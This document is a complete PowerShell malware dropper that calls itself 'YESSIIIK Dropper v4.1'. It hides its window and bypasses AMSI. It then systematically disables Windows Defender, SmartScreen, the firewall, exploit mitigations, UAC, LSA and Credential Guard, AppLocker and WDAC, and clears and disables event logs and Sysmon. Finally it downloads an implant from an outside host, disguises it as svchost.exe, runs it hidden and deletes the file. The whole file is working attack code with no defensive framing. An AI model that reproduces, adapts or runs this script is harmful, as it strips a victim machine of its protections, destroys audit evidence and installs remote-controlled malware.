try{[Console]::WindowWidth=1;[Console]::WindowHeight=1;[Console]::Visible=$false}catch{}

Write-Host "[*] YESSIIIK Dropper v4.1 - Disabling all Windows protections..."

# AMSI Bypass
try{
    $providers = @("AMSI","AMSI\Provider","AMSI\Session","AMSI\Scan")
    ForEach($p in $providers){Set-MpPreference -AttackSurfaceReductionRules_Ids $p -AttackSurfaceReductionRules_Actions Disabled -EA 0}
}catch{}
try{
    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
}catch{}

# Tamper Protection
try{
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Features" -Name "TamperProtection" -Value 0 -Force -EA 0
}catch{}

# Realtime Protection
try{Set-MpPreference -DisableRealtimeMonitoring $true -EA 0}catch{}
try{Set-MpPreference -DisableBehaviorMonitoring $true -EA 0}catch{}
try{Set-MpPreference -DisableBlockAtFirstSeen $true -EA 0}catch{}
try{Set-MpPreference -DisableIOAVProtection $true -EA 0}catch{}
try{Set-MpPreference -DisablePrivacyMode $true -EA 0}catch{}
try{Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true -EA 0}catch{}
try{Set-MpPreference -DisableArchiveScanning $true -EA 0}catch{}
try{Set-MpPreference -DisableIntrusionPreventionSystem $true -EA 0}catch{}
try{Set-MpPreference -DisableScriptScanning $true -EA 0}catch{}
try{Set-MpPreference -SubmitSamplesConsent 2 -EA 0}catch{}
try{Set-MpPreference -MAPSReporting 0 -EA 0}catch{}
try{Set-MpPreference -PUAProtection 0 -EA 0}catch{}
try{Set-MpPreference -DisableRealtimeMonitoring $true -EA 0}catch{}

# Cloud Protection
try{Set-MpPreference -CloudBlockLevel 0 -EA 0}catch{}
try{Set-MpPreference -CloudExtendedTimeout 0 -EA 0}catch{}

# Network Protection
try{Set-MpPreference -EnableNetworkProtection Disabled -EA 0}catch{}

# Exclusions - all drives
try{
    ForEach($d in @("C:\","D:\","E:\","F:\")){
        Add-MpPreference -ExclusionPath $d -EA 0
        Add-MpPreference -ExclusionProcess "svchost.exe" -EA 0
        Add-MpPreference -ExclusionProcess "cmd.exe" -EA 0
        Add-MpPreference -ExclusionProcess "powershell.exe" -EA 0
        Add-MpPreference -ExclusionExtension ".exe" -EA 0
        Add-MpPreference -ExclusionExtension ".dll" -EA 0
        Add-MpPreference -ExclusionExtension ".ps1" -EA 0
    }
}catch{}

# Defender Services
try{
    Stop-Service -Name WinDefend -Force -EA 0
    Stop-Service -Name WdNisSvc -Force -EA 0
    Stop-Service -Name WdFilter -Force -EA 0
    Stop-Service -Name WdBoot -Force -EA 0
    Set-Service -Name WinDefend -StartupType Disabled -EA 0
    Set-Service -Name WdNisSvc -StartupType Disabled -EA 0
    Set-Service -Name WdFilter -StartupType Disabled -EA 0
    Set-Service -Name WdBoot -StartupType Disabled -EA 0
}catch{}

# ASR Rules - all 18 disabled
try{
    $asrRules = @(
        "56a863a9-875e-4185-98a7-b882c64b5ce5",
        "7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c",
        "d4f940ab-401b-4efc-aadc-ad5f3c50688a",
        "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2",
        "be9ba2d9-53ea-4cdc-84e5-9b1eeee46550",
        "01443614-cd74-433a-b99e-2ecdc07bfc25",
        "5beb7efe-fd9a-4556-801d-275e5ffc04cc",
        "d3e037e1-3eb8-44c8-a917-57927947596d",
        "3b576869-a4ec-4529-8536-b80a7769e899",
        "75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84",
        "26190899-1602-49e8-8b27-eb1d0a1ce869",
        "e6db77e5-3df2-4cf1-b95a-636979351e5b",
        "b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4",
        "92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b",
        "c1db55ab-c21a-4637-bb3f-a12568109d35",
        "d1e49aac-8f56-4280-b9ba-993a6d77406c",
        "33ddedf1-c6e0-47cb-833e-de6133960387",
        "7486c30b-60c7-41ea-a49c-51b3358d7707"
    )
    ForEach($rule in $asrRules){Add-MpPreference -AttackSurfaceReductionRules_Ids $rule -AttackSurfaceReductionRules_Actions Disabled -EA 0}
}catch{}

# SmartScreen
try{
    Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "EnableShellExecuteHooks" -Value 1 -Force -EA 0
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" -Name "SmartScreenEnabled" -Value "Off" -Force -EA 0
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name "EnableSmartScreen" -Value 0 -Force -EA 0
    Remove-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "ShowCmdConverterPrompt" -Force -EA 0
}catch{}

# Exploit Protection - all mitigations disabled
try{
    $mitigations = @("DEP","ASLR","BottomUp","HighEntropy","SEHOP","ForceRelocateImages","CFG","AuxUDll","StrictCFG","EAF","EAFModules","MandatoryASLR","UntrustedFont","FontDisable","HeapTermination","ExtensionPoints","AppConfig","SvcHardening","ImageLoad","ChildProcess","Payload","SuspProc","ReturnFlowGuards","SideChannel","SpecStoreBypass","UserShadowStack")
    ForEach($m in $mitigations){
        Set-ProcessMitigation -System -Enable Disable -EA 0
        Set-ProcessMitigation -System -$m $false -EA 0
    }
}catch{}

# Firewall - all profiles off
try{
    netsh advfirewall set allprofiles state off
    netsh advfirewall set allprofiles firewallpolicy blockinbound,allowoutbound
}catch{}

# Event Logging - clear and disable
try{
    wevtutil cl Security
    wevtutil cl System
    wevtutil cl Application
    wevtutil cl "Windows PowerShell"
    wevtutil cl Microsoft-Windows-PowerShell/Operational
    wevtutil cl Microsoft-Windows-Sysmon/Operational
    auditpol /set /category:* /failure:disabled /success:disabled
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 0 -Force -EA 0
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 0 -Force -EA 0
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "EnableTranscripting" -Value 0 -Force -EA 0
}catch{}

# Sysmon
try{
    Stop-Service -Name Sysmon -Force -EA 0
    Set-Service -Name Sysmon -StartupType Disabled -EA 0
    sc.exe delete Sysmon 2>$null
}catch{}

# LSA Protection
try{
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 0 -Force -EA 0
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPLBoot" -Value 0 -Force -EA 0
}catch{}

# Credential Guard
try{
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LsaCfgFlags" -Value 0 -Force -EA 0
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard" -Name "EnableVirtualizationBasedSecurity" -Value 0 -Force -EA 0
}catch{}

# VBS / HVCI
try{
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" -Name "EnableVirtualizationBasedSecurity" -Value 0 -Force -EA 0
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" -Name "RequirePlatformSecurityFeatures" -Value 0 -Force -EA 0
}catch{}

# AppLocker
try{
    Remove-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2" -Recurse -Force -EA 0
}catch{}

# WDAC
try{
    Remove-Item -Path "C:\Windows\System32\CodeIntegrity\CiPolicies\Active" -Recurse -Force -EA 0
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\CI" -Name "VerifiedAndReputablePolicyState" -Value 0 -Force -EA 0
}catch{}

# UAC
try{
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA" -Value 0 -Force -EA 0
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 0 -Force -EA 0
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "PromptOnSecureDesktop" -Value 0 -Force -EA 0
}catch{}

# Vulnerable Driver Blocklist
try{
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Config" -Name "VulnerableDriverBlocklistEnable" -Value 0 -Force -EA 0
}catch{}

# Edge Enhanced Security Mode
try{
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Edge" -Name "EnhanceSecurityMode" -Value 0 -Force -EA 0
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Edge" -Name "EnhanceSecurityModeEnforce" -Value 0 -Force -EA 0
}catch{}

# Mark of the Web
try{
    Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" -Name "SaveZoneInformation" -Value 1 -Force -EA 0
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" -Name "SaveZoneInformation" -Value 1 -Force -EA 0
}catch{}

# Attachment Manager
try{
    Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" -Name "HideZoneInfoOnProperties" -Value 1 -Force -EA 0
    Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" -Name "ScanWithAntiVirus" -Value 1 -Force -EA 0
}catch{}

# Smart App Control
try{
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy" -Name "VerifiedAndReputablePolicyState" -Value 0 -Force -EA 0
}catch{}

# Windows Sandbox
try{
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Sandbox" -Name "AllowClipboardRedirection" -Value 0 -Force -EA 0
}catch{}

# Disable Windows Error Reporting
try{
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Windows Error Reporting" -Name "Disabled" -Value 1 -Force -EA 0
}catch{}

# Disable Telemetry
try{
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DataCollection" -Name "AllowTelemetry" -Value 0 -Force -EA 0
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection" -Name "AllowTelemetry" -Value 0 -Force -EA 0
}catch{}

Write-Host "[+] All protections disabled. Downloading implant..."

# Download and execute implant
try{
    $u='https://yessiiik.xyz/implant.exe'
    $d=[IO.Path]::GetTempPath()+'svchost.exe'
    (New-Object Net.WebClient).DownloadFile($u,$d)
    Start-Process $d -WindowStyle Hidden
    Start-Sleep 2
    Remove-Item $d -Force -EA 0
}catch{}